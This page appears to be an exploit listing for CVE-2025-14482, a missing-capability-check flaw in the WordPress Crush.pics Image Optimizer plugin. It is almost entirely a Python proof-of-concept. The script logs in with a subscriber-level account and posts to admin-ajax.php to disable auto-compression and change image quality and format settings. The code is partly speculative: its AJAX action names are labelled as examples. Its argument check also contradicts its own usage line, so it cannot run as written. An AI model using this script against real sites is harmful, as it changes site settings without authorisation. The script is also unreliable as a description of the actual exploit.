CVE-2025-14482 | WordPress Crush.pics插件越权设置修改漏洞

import requests import sys from urllib.parse import urlencode # CVE-2025-14482 PoC - Insecure Direct Object Reference in Crush.pics Plugin # Target: WordPress site with Crush.pics Image Optimizer <= 1.8.7 # Authentication: Requires any valid user account (Subscriber role or higher) def exploit_crush_pics(target_url, username, password): """ Exploit missing capability checks in Crush.pics plugin settings modification. """ # Step 1: Authenticate and get valid nonce/cookie login_url = f"{target_url}/wp-login.php" session = requests.Session() login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': target_url } print(f"[*] Authenticating as {username}...") response = session.post(login_url, data=login_data, allow_redirects=False) if 'wordpress_logged_in' not in session.cookies.get_dict(): print("[-] Authentication failed!") return False print("[+] Authentication successful!") # Step 2: Get admin URL to extract nonce (if needed) # In some cases, the AJAX endpoint may not require nonce verification # Step 3: Exploit - Disable auto-compression ajax_url = f"{target_url}/wp-admin/admin-ajax.php" # Payload 1: Disable auto-compression feature disable_auto_data = { 'action': 'crush_pics_disable_auto', # Example action name 'setting': 'auto_compression', 'value': '0' } print("[*] Attempting to disable auto-compression...") response = session.post(ajax_url, data=disable_auto_data) if response.status_code == 200: print("[+] Auto-compression disabled successfully!") # Payload 2: Modify image quality settings quality_data = { 'action': 'crush_pics_update_quality', # Example action name 'quality': '100', # Set to maximum (no compression) 'format': 'png' # Change output format } print("[*] Attempting to modify image quality settings...") response = session.post(ajax_url, data=quality_data) if response.status_code == 200: print("[+] Image quality settings modified!") print("[*] Exploitation complete. Check plugin settings in WordPress admin panel.") return True if __name__ == "__main__": if len(sys.argv) < 5: print(f"Usage: python {sys.argv[0]} <target_url> <username> <password>") print(f"Example: python {sys.argv[0]} http://example.com subscriber password123") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] exploit_crush_pics(target, user, pwd)